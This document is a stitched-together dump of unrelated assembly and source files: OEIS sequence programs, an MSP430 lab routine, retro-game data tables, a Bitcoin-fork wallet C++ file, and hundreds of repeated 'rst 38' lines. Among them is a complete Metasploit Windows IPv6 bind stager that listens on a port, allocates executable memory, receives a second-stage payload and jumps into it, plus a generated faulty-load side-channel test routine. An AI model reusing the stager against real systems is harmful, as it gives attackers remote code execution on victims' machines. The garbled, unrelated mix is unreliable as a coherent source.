rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
|
; A169960: Binomial(11n,n).
; 1,11,231,5456,135751,3478761,90858768,2404808340,64276915527,1731030945644,46897636623981,1276749965026536,34898565177533200,957150015393611193,26327386978706181060,725971390105457325456,20062118235172477959495,555476984964439251664995,15406114558482236881576284,427936041510109397793688160,11902995933154739790826719501,331488223958251318888250434410,9241979048402633009987542369480,257931330856626816752436542769300,7205233852717611545366428364067600,201448524633987556015884474007463136
mov $1,11
mul $1,$0
bin $1,$0
mov $0,$1
|
;-------------------------------------------------------------------------------
; File: Lab_5_SW_Mult.asm
; Description: This subroutine calculates the first five powers of B using
; a shift and add multiplication algorithm.
; Input: Integers A, B
; Output: Integer product of A and B, C
; Author: David Thornton (dht0002@uah.edu)
; Lab Section: 2
; Date: September 30, 2020
;-------------------------------------------------------------------------------
.cdecls C,LIST,"msp430.h" ; Include device header file
.def SW_Mult
.text
SW_Mult:
mov #16, R9 ; max bit counter per assignment
mov #0, R10 ; clear result variable (C)
mov R4, R11 ; copy b to A
jmp check
check:
mov R12, R13 ; temp so we don't overwrite B
and #0x01, R13 ; bitwise and temp (B) and 0x01
cmp #0x01, R13 ; compare LSB of temp to 1
jne skip ; if LSB of B is not 1, jump to skip
add R11, R10 ; add A to C
jmp skip ; jump to skip subroutine
skip:
rrc R12 ; rotate right B
rla R11 ; rotate left A
dec R9 ; bit counter--
jnz check ; jump to check if bit counter >0
mov R12, R13 ; temp so we don't overwrite B
and #0x10, R13 ; bitwise and temp (B) and 0x10
cmp #0x10, R13 ; compare MSB of temp to 1
jeq neg ; jump if temp is negative
jmp qend ; else jump to qend
neg:
sub R11, R10 ; subtract A from C
jmp qend ; jump to qend
qend:
mov R10, 0(R5) ; move result into the SW array
mov R10, R12 ; move result into B for next loop
ret ; return from subroutine
.end
|
; void __CALLEE__ sp1_InsertCharStruct_callee(struct sp1_update *u, struct sp1_cs *cs)
; 05.2007 aralbrec, Sprite Pack v3.0
; sinclair zx version
SECTION code_clib
SECTION code_temp_sp1
PUBLIC sp1_InsertCharStruct_callee
EXTERN asm_sp1_InsertCharStruct
sp1_InsertCharStruct_callee:
pop hl
pop de
ex (sp),hl
ex de,hl
jp asm_sp1_InsertCharStruct
|
// Copyright (c) 2011-2016 The Bitcoin Core developers
// Copyright (c) 2017 The Sucrecoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "transactionrecord.h"
#include "base58.h"
#include "consensus/consensus.h"
#include "validation.h"
#include "timedata.h"
#include "wallet/wallet.h"
#include <stdint.h>
/* Return positive answer if transaction should be shown in list.
*/
bool TransactionRecord::showTransaction(const CWalletTx &wtx)
{
// There are currently no cases where we hide transactions, but
// we may want to use this in the future for things like RBF.
return true;
}
/*
* Decompose CWallet transaction to model transaction records.
*/
QList<TransactionRecord> TransactionRecord::decomposeTransaction(const CWallet *wallet, const CWalletTx &wtx)
{
QList<TransactionRecord> parts;
int64_t nTime = wtx.GetTxTime();
CAmount nCredit = wtx.GetCredit(ISMINE_ALL);
CAmount nDebit = wtx.GetDebit(ISMINE_ALL);
CAmount nNet = nCredit - nDebit;
uint256 hash = wtx.GetHash();
std::map<std::string, std::string> mapValue = wtx.mapValue;
if (nNet > 0 || wtx.IsCoinBase())
{
//
// Credit
//
for(unsigned int i = 0; i < wtx.tx->vout.size(); i++)
{
const CTxOut& txout = wtx.tx->vout[i];
isminetype mine = wallet->IsMine(txout);
if(mine)
{
TransactionRecord sub(hash, nTime);
CTxDestination address;
sub.idx = i; // vout index
sub.credit = txout.nValue;
sub.involvesWatchAddress = mine & ISMINE_WATCH_ONLY;
if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*wallet, address))
{
// Received by Sucrecoin Address
sub.type = TransactionRecord::RecvWithAddress;
sub.address = EncodeDestination(address);
}
else
{
// Received by IP connection (deprecated features), or a multisignature or other non-simple transaction
sub.type = TransactionRecord::RecvFromOther;
sub.address = mapValue["from"];
}
if (wtx.IsCoinBase())
{
// Generated
sub.type = TransactionRecord::Generated;
}
parts.append(sub);
}
}
}
else
{
bool involvesWatchAddress = false;
isminetype fAllFromMe = ISMINE_SPENDABLE;
for (const CTxIn& txin : wtx.tx->vin)
{
isminetype mine = wallet->IsMine(txin);
if(mine & ISMINE_WATCH_ONLY) involvesWatchAddress = true;
if(fAllFromMe > mine) fAllFromMe = mine;
}
isminetype fAllToMe = ISMINE_SPENDABLE;
for (const CTxOut& txout : wtx.tx->vout)
{
isminetype mine = wallet->IsMine(txout);
if(mine & ISMINE_WATCH_ONLY) involvesWatchAddress = true;
if(fAllToMe > mine) fAllToMe = mine;
}
if (fAllFromMe && fAllToMe)
{
// Payment to self
CAmount nChange = wtx.GetChange();
parts.append(TransactionRecord(hash, nTime, TransactionRecord::SendToSelf, "",
-(nDebit - nChange), nCredit - nChange));
parts.last().involvesWatchAddress = involvesWatchAddress; // maybe pass to TransactionRecord as constructor argument
}
else if (fAllFromMe)
{
//
// Debit
//
CAmount nTxFee = nDebit - wtx.tx->GetValueOut();
for (unsigned int nOut = 0; nOut < wtx.tx->vout.size(); nOut++)
{
const CTxOut& txout = wtx.tx->vout[nOut];
TransactionRecord sub(hash, nTime);
sub.idx = nOut;
sub.involvesWatchAddress = involvesWatchAddress;
if(wallet->IsMine(txout))
{
// Ignore parts sent to self, as this is usually the change
// from a transaction sent back to our own address.
continue;
}
CTxDestination address;
if (ExtractDestination(txout.scriptPubKey, address))
{
// Sent to Sucrecoin Address
sub.type = TransactionRecord::SendToAddress;
sub.address = EncodeDestination(address);
}
else
{
// Sent to IP, or other non-address transaction like OP_EVAL
sub.type = TransactionRecord::SendToOther;
sub.address = mapValue["to"];
}
CAmount nValue = txout.nValue;
/* Add fee to first output */
if (nTxFee > 0)
{
nValue += nTxFee;
nTxFee = 0;
}
sub.debit = -nValue;
parts.append(sub);
}
}
else
{
//
// Mixed debit transaction, can't break down payees
//
parts.append(TransactionRecord(hash, nTime, TransactionRecord::Other, "", nNet, 0));
parts.last().involvesWatchAddress = involvesWatchAddress;
}
}
return parts;
}
void TransactionRecord::updateStatus(const CWalletTx &wtx)
{
AssertLockHeld(cs_main);
// Determine transaction status
// Find the block the tx is in
CBlockIndex* pindex = nullptr;
BlockMap::iterator mi = mapBlockIndex.find(wtx.hashBlock);
if (mi != mapBlockIndex.end())
pindex = (*mi).second;
// Sort order, unrecorded transactions sort to the top
status.sortKey = strprintf("%010d-%01d-%010u-%03d",
(pindex ? pindex->nHeight : std::numeric_limits<int>::max()),
(wtx.IsCoinBase() ? 1 : 0),
wtx.nTimeReceived,
idx);
status.countsForBalance = wtx.IsTrusted() && !(wtx.GetBlocksToMaturity() > 0);
status.depth = wtx.GetDepthInMainChain();
status.cur_num_blocks = chainActive.Height();
if (!CheckFinalTx(wtx))
{
if (wtx.tx->nLockTime < LOCKTIME_THRESHOLD)
{
status.status = TransactionStatus::OpenUntilBlock;
status.open_for = wtx.tx->nLockTime - chainActive.Height();
}
else
{
status.status = TransactionStatus::OpenUntilDate;
status.open_for = wtx.tx->nLockTime;
}
}
// For generated transactions, determine maturity
else if(type == TransactionRecord::Generated)
{
if (wtx.GetBlocksToMaturity() > 0)
{
status.status = TransactionStatus::Immature;
if (wtx.IsInMainChain())
{
status.matures_in = wtx.GetBlocksToMaturity();
// Check if the block was requested by anyone
if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)
status.status = TransactionStatus::MaturesWarning;
}
else
{
status.status = TransactionStatus::NotAccepted;
}
}
else
{
status.status = TransactionStatus::Confirmed;
}
}
else
{
if (status.depth < 0)
{
status.status = TransactionStatus::Conflicted;
}
else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)
{
status.status = TransactionStatus::Offline;
}
else if (status.depth == 0)
{
status.status = TransactionStatus::Unconfirmed;
if (wtx.isAbandoned())
status.status = TransactionStatus::Abandoned;
}
else if (status.depth < RecommendedNumConfirmations)
{
status.status = TransactionStatus::Confirming;
}
else
{
status.status = TransactionStatus::Confirmed;
}
}
status.needsUpdate = false;
}
bool TransactionRecord::statusUpdateNeeded() const
{
AssertLockHeld(cs_main);
return status.cur_num_blocks != chainActive.Height() || status.needsUpdate;
}
QString TransactionRecord::getTxID() const
{
return QString::fromStdString(hash.ToString());
}
int TransactionRecord::getOutputIndex() const
{
return idx;
}
|
; Title: Windows Bind Stager (NX, IPv6)
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
; Author: Metasploit LLC
[BITS 32]
global _start
_start:
call LKernel32Base
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 120]
add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp short LHshlp
LFnd:
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 28]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
jmp short LDone
LNtfnd:
xor eax, eax
LDone:
pop edi
pop esi
pop ebp
pop ebx
ret 8
LKernel32Base:
xor edx, edx
mov edx, [fs:edx+0x30] ; get a pointer to the PEB
mov edx, [edx+0x0C] ; get PEB->Ldr
mov edx, [edx+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink
next_mod:
mov esi, [edx+0x28] ; get pointer to modules name (unicode string)
push byte 24 ; push down the length we want to check
pop ecx ; set ecx to this length for the loop
xor edi, edi ; clear edi which will store the hash of the module name
loop_modname:
xor eax, eax ; clear eax
lodsb ; read in the next byte of the name
cmp al, 'a' ; some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; if so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; rotate left our hash value
add edi, eax ; add the next byte of the name
loop loop_modname ; loop untill we have read enough
cmp edi, 0x6A4ABC5B ; compare the hash with that of kernel32.dll
mov ebx, [edx+0x10] ; get this modules base address
mov edx, [edx] ; get the next module
jne next_mod ; if it doesnt match, process the next module
pop esi
push ebx ; kernel32.dll base
push dword 0xec0e4e8e ; LoadLibraryA
call esi ; GetProcAddress(kerne32.dll, LoadLibrary)
mov edi, eax
push ebx ; kernel32.dll base
push dword 0x91afca54 ; VirtualAlloc
call esi ; GetProcAddress(kerne32.dll, VirtualAlloc)
; ebx = kernel32.dll base
; esi = LGetProcAddress
; edi = LoadLibraryA
; eax = VirtualAlloc
sub esp, 0x100
push eax ; [ebp + 12] = VirtualAlloc
push edi ; [ebp + 8] = LoadLibraryA
push esi ; [ebp + 4] = LGetProcAddress
push ebx ; [ebp + 0] = kernel32.dll base
mov ebp, esp
call LLoadWinsock
%define FN_RECV [ebp + 24]
%define FN_SEND [ebp + 28]
%define FN_ACCEPT [ebp + 32]
%define FN_BIND [ebp + 36]
%define FN_LISTEN [ebp + 40]
%define FN_WSASOCK [ebp + 44]
%define FN_WSASTART [ebp + 48]
LWSDataSegment:
;========================
dd 0x190 ; used by wsastartup
dd 0xe71819b6 ; recv [ebp + 24]
dd 0xe97019a4 ; send [ebp + 28]
dd 0x498649e5 ; accept [ebp + 32]
dd 0xc7701aa4 ; bind [ebp + 36]
dd 0xe92eada4 ; listen [ebp + 40]
dd 0xadf509d9 ; WSASocketA [ebp + 44]
dd 0x3bfcedcb ; WSAStartup [ebp + 48]
db "WS2_32", 0x00
;========================
LLoadWinsock:
pop ebx ; save address to data in ebx
lea ecx, [ebx + 32] ; find address of "WS2_32.DLL"
push ecx ; push address of "WS2_32.DLL"
call edi ; call LoadLibraryA("WS2_32.DLL")
mov edi, ebx ; store base of data section in edi
mov ebx, eax ; store base of winsock in ebx
lea esi, [ebp + 20] ; store base of function table
push byte 0x07 ; load five functions by hash
pop ecx ; configure the counter
Looper:
push ecx ; save the counter
push ebx ; dll handle
push dword [edi + ecx * 4] ; function hash value
call [ebp + 4] ; find the address
pop ecx ; restore the counter
mov [esi + ecx * 4], eax ; stack segment to store addresses
loop Looper
LWSAStartup: ; WSAStartup (0x0202, DATA)
sub esp, [edi]
push esp
push dword 0x0202
call FN_WSASTART
xor eax, eax
LWSASocketA: ; WSASocketA (23,1,6,0,0,0)
; dwFlags
push eax
; RESERVED
push eax
; PROTOCOL INFO
push eax
; PROTOCOL: IPPROTO_TCP
push byte 6
; TYPE: SOCK_STREAM
push byte 1
; FAMILY: AF_INET6
push byte 23
; WSASocket()
call FN_WSASOCK
mov edi, eax
LBind:
; sin6_scope_id
push dword 0x00000000
xor ecx, ecx
; sin6_addr = ::0
push ecx
push ecx
push ecx
push ecx
; sin6_flowinfo
push ecx
; sin6_port / sin6_family
push dword 0xffff0017
mov ecx, esp
push byte 28 ; length
push ecx
push edi
call FN_BIND
xor ebx, ebx
LListen:
push ebx
push edi
call FN_LISTEN
LAccept:
push ebx
push ebx
push edi
call FN_ACCEPT
mov edi, eax
LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
push byte 0x40
pop esi
push esi ; PAGE_EXECUTE_READWRITE=0x40
shl esi, 6 ; MEM_COMMIT=0x1000
push esi
shl esi, 8 ; 1MB
push esi
push byte 0x00 ; NULL
call [ebp+12]
mov ebx, eax
LRecvLength: ; recv(s, buff, 4, 0)
push byte 0x00 ; flags
push dword 4096 ; length
push ebx ; buffer
push dword edi ; socket
call FN_RECV ; recv()
call ebx
|
; A169919: a(n) = n*n in the arithmetic where digits are added in base 10 (as usual) but when digits are to be multiplied they are also added in base 10.
; 0,2,4,6,8,10,12,14,16,18,220,242,264,286,308,330,352,374,396,418,440,462,484,506,528,550,572,594,616,638,660,682,704,726,748,770,792,814,836,858,880,902,924,946,968,990,1012,1034,1056,1078,1100,1122,1144
mov $1,$0
lpb $0
mod $0,10
mul $1,11
lpe
mul $1,2
|
; A081334: sigma(2*n^2) modulo 4.
; Submitted by Jon Maiga
; 3,3,3,3,1,3,3,3,3,1,3,3,1,3,1,3,1,3,3,1,3,3,3,3,3,1,3,3,1,1,3,3,3,1,1,3,1,3,1,1,1,3,3,3,1,3,3,3,3,3,1,1,1,3,1,3,3,1,3,1,1,3,3,3,3,3,3,1,3,1,3,3,1,1,3,3,3,1,3,1,3,1,3,3,3,3,1,3,1,1,1,3,3,3,1,3,1,3,3,3
mul $0,2
add $0,2
pow $0,2
sub $0,1
seq $0,46897 ; Sum of divisors of n that are not divisible by 4.
mod $0,4
|
; A169687: a(n) = 3^n - 3*2^(n-2).
; 6,21,69,219,681,2091,6369,19299,58281,175611,528369,1588179,4770681,14324331,42997569,129041859,387223881,1161868251,3485997969,10458780339,31377913881,94136887371,282416953569,847263443619,2541815496681,7625496821691,22876591128369,68629974711699,205890326788281,617671785671211,1853016967626369,5559054124104579,16677168814764681,50031519329195931,150094583757391569,450283802811782259,1350851511514561881,4052554740702115851,12157664634423207969,36472994727903344739,109418985832977475881
mov $2,$0
add $0,1
mov $1,3
pow $1,$0
mov $3,2
pow $3,$2
sub $1,$3
mul $1,3
mov $0,$1
|
db DEX_FEAROW ; pokedex id
db 65 ; base hp
db 90 ; base attack
db 65 ; base defense
db 100 ; base speed
db 61 ; base special
db NORMAL ; species type 1
db FLYING ; species type 2
db 37 ; catch rate
db 162 ; base exp yield
INCBIN "pic/ymon/fearow.pic",0,1 ; 77, sprite dimensions
dw FearowPicFront
dw FearowPicBack
; attacks known at lvl 0
db PECK
db GROWL
db LEER
db 0
db 0 ; growth rate
; learnset
tmlearn 2,4,6
tmlearn 9,10,15
tmlearn 20
tmlearn 31,32
tmlearn 34,39
tmlearn 43,44
tmlearn 50,52
db BANK(FearowPicFront)
|
SECTION code_clib
SECTION code_stdio
PUBLIC __stdio_scanf_ln
__stdio_scanf_ln:
; %ln converter called from vfscanf()
;
; enter : hl = long *p
;
; exit : carry reset
;
; uses : all except ix
ld a,h
or l
ret z ; if assignment suppressed
exx
push de
exx
pop de ; de = number of chars read from stream
ld (hl),e
inc hl
ld (hl),d
inc hl
xor a
ld (hl),a
inc hl
ld (hl),a
ret
|
min:
movq %rdi, %rax
cmpq %rsi, %rdi
jb rdi_ls
movq %rsi, %rax
rdi_ls:
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x924e, %r15
sub %r8, %r8
movl $0x61626364, (%r15)
nop
nop
nop
dec %rax
lea addresses_A_ht+0x10ace, %rsi
lea addresses_D_ht+0x474e, %rdi
nop
nop
and $48563, %rax
mov $126, %rcx
rep movsl
and %r15, %r15
lea addresses_D_ht+0x1444e, %rcx
nop
nop
nop
add $19154, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm7
and $0xffffffffffffffc0, %rcx
movaps %xmm7, (%rcx)
mfence
lea addresses_UC_ht+0x167ae, %rsi
lea addresses_WT_ht+0xde8e, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $52, %rcx
rep movsq
nop
nop
dec %r15
lea addresses_WT_ht+0x1bba6, %r8
nop
nop
xor %rax, %rax
and $0xffffffffffffffc0, %r8
vmovaps (%r8), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r15
nop
nop
nop
nop
sub $57745, %rsi
lea addresses_WT_ht+0x7a8e, %rcx
nop
nop
nop
nop
nop
dec %r15
movb (%rcx), %al
nop
nop
nop
nop
add $18766, %rsi
lea addresses_WC_ht+0xc51e, %rsi
lea addresses_D_ht+0x344e, %rdi
and %rdx, %rdx
mov $95, %rcx
rep movsb
nop
add $60102, %rdx
lea addresses_WT_ht+0x1c84e, %r9
clflush (%r9)
nop
xor $30067, %r15
movb (%r9), %cl
nop
and %rdx, %rdx
lea addresses_D_ht+0x128ee, %r9
nop
add $31422, %rsi
movb $0x61, (%r9)
nop
nop
nop
nop
nop
cmp $52534, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// Store
mov $0x2556c0000000b18, %r14
nop
nop
nop
nop
add $26302, %rsi
mov $0x5152535455565758, %r8
movq %r8, (%r14)
// Exception!!!
nop
nop
nop
mov (0), %rsi
dec %rax
// Store
lea addresses_normal+0xdc4e, %r8
nop
nop
nop
nop
inc %rax
movw $0x5152, (%r8)
nop
nop
nop
nop
nop
xor $17039, %rsi
// Load
mov $0x8be, %rsi
nop
nop
nop
xor %rcx, %rcx
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %r14
nop
xor $31728, %r14
// Store
lea addresses_WC+0x93ce, %rdi
nop
nop
nop
xor $29709, %rcx
mov $0x5152535455565758, %rax
movq %rax, %xmm6
movups %xmm6, (%rdi)
sub $17549, %rsi
// Faulty Load
lea addresses_normal+0xdc4e, %r14
nop
nop
nop
cmp %r11, %r11
mov (%r14), %si
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'52': 94}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
; A281787: a(n) = sum of all numbers between 1 and 10^n that are divisible by 3 or 5.
